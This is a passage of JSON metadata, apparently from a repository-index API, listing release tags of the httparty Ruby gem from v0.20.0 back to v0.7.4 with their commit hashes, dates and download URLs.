f1ed429c24cf410528934a9c","kind":"commit","published_at":"2021-09-29T13:04:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.20.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0/manifests"},{"name":"v0.19.1","sha":"0d20a4f8225a653ab306d4994cf737e4fdf2b7d4","kind":"commit","published_at":"2021-09-29T12:39:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"b4213368675a8dd7f45e443fd9b8c3f7edb1eee1","kind":"commit","published_at":"2021-09-09T14:57:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0/manifests"},{"name":"v0.18.1","sha":"0e8b82730a143c07c919bb8773f017338f637016","kind":"commit","published_at":"2020-06-10T18:40:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1/manifests"},{"name":"v0.18.0","sha":"b4aba417a502342b1f6940c711e155b8eb8c3951","kind":"commit","published_at":"2020-02-19T16:09:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0/manifests"},{"name":"v0.17.3","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3/manifests"},{"name":"v0","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0/manifests"},{"name":"v0.17.2","sha":"aec466f984fc178257efffcc922c0c559baea5ae","kind":"commit","published_at":"2019-12-16T11:30:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"47c8b2529b999e74bdc5fa80537dfe96276deec2","kind":"commit","published_at":"2019-08-30T16:11:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"b4099defba01231d2faaaa2660476f867e096bfb","kind":"commit","published_at":"2019-04-20T14:07:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0/manifests"},{"name":"v0.16.4","sha":"7b2ad805a5bcc80dc4b06b542dd6de161e5cd95b","kind":"commit","published_at":"2019-02-05T15:39:33.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4/manifests"},{"name":"v0.16.2","sha":"da1b1ad1d67be214b0e7a587edf84a4bc5a5e793","kind":"commit","published_at":"2018-03-30T13:54:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"1a52a134c4aeef77668e56cbcf646d266d798389","kind":"commit","published_at":"2018-03-12T14:45:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"8f6c6a6b95b5b404c82415663ee47ccc890ba9c9","kind":"commit","published_at":"2018-02-13T02:01:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0/manifests"},{"name":"v0.15.7","sha":"2b0a21bccce29c57142af1958b375d0fe2ccd176","kind":"commit","published_at":"2018-02-07T15:57:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7/manifests"},{"name":"v0.15.6","sha":"5b7797b2827610ef35c7f4ce72d144b1748f0ee8","kind":"commit","published_at":"2017-07-21T20:15:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6/manifests"},{"name":"v0.15.5","sha":"7b5147c6885222af6b58ef6fa7c90ff4bb8b91f6","kind":"commit","published_at":"2017-05-19T02:01:50.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5/manifests"},{"name":"v0.15.4","sha":"6406421ac3e0252482afcdf22e652bf5bea754fb","kind":"commit","published_at":"2017-05-17T18:59:35.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4/manifests"},{"name":"v0.15.3","sha":"1c9b41140c72aa92b5c0f8792ee95f9ee0b142eb","kind":"commit","published_at":"2017-05-16T13:24:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"e9f4624c1172120bbd39ddc636620a24fc9386b1","kind":"commit","published_at":"2017-05-12T18:53:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9d4a91fe62b4184baadc2a5fe77a07417653e23c","kind":"commit","published_at":"2017-05-12T13:12:26.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"562e8ee20e7c256fb26ebd2b1eeb4751cb2abeb8","kind":"commit","published_at":"2017-05-11T14:43:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"f4a3e84f36eb8f33b76b9b3ae4739887ab87f495","kind":"commit","published_at":"2016-07-25T14:18:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.14.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0/manifests"},{"name":"v0.13.7","sha":"9d3dbc3852b294173d0d8309e59051491bf7d048","kind":"commit","published_at":"2015-09-23T12:08:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7/manifests"},{"name":"v0.13.6","sha":"5b6f22d2d87419ea862107e9e7947e71b912869a","kind":"commit","published_at":"2015-09-21T01:24:30.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6/manifests"},{"name":"v0.13.5","sha":"38ca4cf2e63d70df49575ceb0f3f669fbafd7739","kind":"commit","published_at":"2015-05-19T16:46:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5/manifests"},{"name":"v0.13.4","sha":"923eadd1ba94ceb614f5edd45d9a3c0d353e5f21","kind":"commit","published_at":"2015-05-13T15:33:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4/manifests"},{"name":"v0.13.3","sha":"107e69a6d1c8ceeb74e2e0a8b70f7b2bdbbd4a7a","kind":"commit","published_at":"2014-11-06T20:01:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3/manifests"},{"name":"v0.13.2","sha":"4679c8314dcace10ed4b912b0a522d14bb05d21d","kind":"commit","published_at":"2014-11-03T15:17:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2/manifests"},{"name":"v0.13.1","sha":"a570e54dd32e7c1ea16b072d0e10f552086ddbdb","kind":"commit","published_at":"2014-04-08T14:54:58.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"3c01a60af29ae6efd9347df23a5866a87488aa14","kind":"commit","published_at":"2014-02-14T18:50:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"7feb0287a0adae1676f4c6abc06414bae05f8b9b","kind":"commit","published_at":"2013-10-10T15:34:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.12.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1fde99ba8aa43372726804e5fe87d8b459baf59b","kind":"tag","published_at":"2013-04-10T13:43:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.11.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0/manifests"},{"name":"v0.10.2","sha":"a320025dbc89e9c572603a47e9e228cbfa285a14","kind":"tag","published_at":"2013-01-27T01:32:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"0f04ba868c92e932f6ad4a64825a95a9819063a3","kind":"tag","published_at":"2013-01-26T16:38:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"3e2ec2bda1f948fbb1e4ffbf531c9ebbbff00795","kind":"tag","published_at":"2013-01-10T20:52:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"d392c2d1cb4ca4413e28a7ef55dcede1fccd2dc6","kind":"tag","published_at":"2012-09-07T18:03:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.9.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0/manifests"},{"name":"v0.8.3","sha":"1d6e2fa72a51288b3d53850cb1a1ebd60f47d9a3","kind":"tag","published_at":"2012-04-22T03:09:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"d0ed57ea578655a3783df3732c3f349497fcc1f3","kind":"tag","published_at":"2012-04-12T17:06:11.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"76a9f1b45b4a11f12dd7d99d6497ca381a5607e5","kind":"tag","published_at":"2011-10-05T15:28:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"ebbd0cb9438547a2ad5cf998b63b234004dd5be6","kind":"tag","published_at":"2011-09-13T16:35:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0/manifests"},{"name":"v0.7.8","sha":"68c254f9c1d90430ec7da25e941625ba9e989799","kind":"tag","published_at":"2011-06-07T01:38:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.8","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"2d4c1bd34bd86dccf36616ea7540916a8adc1a09","kind":"tag","published_at":"2011-04-20T21:55:02.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"d7e3079c597209d9870d329baa13cb74d73deb68","kind":"tag","published_at":"2011-04-16T18:45:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"3ffad3570374014953fc5e36b528c8f838b78951","kind":"commit","published_at":"2011-04-15T22:32:09.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"00a7ec9ce55a8e1aeeea2fde7d16c59821266122","kind":"commit","published_at":"2011-02-13T20:20:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.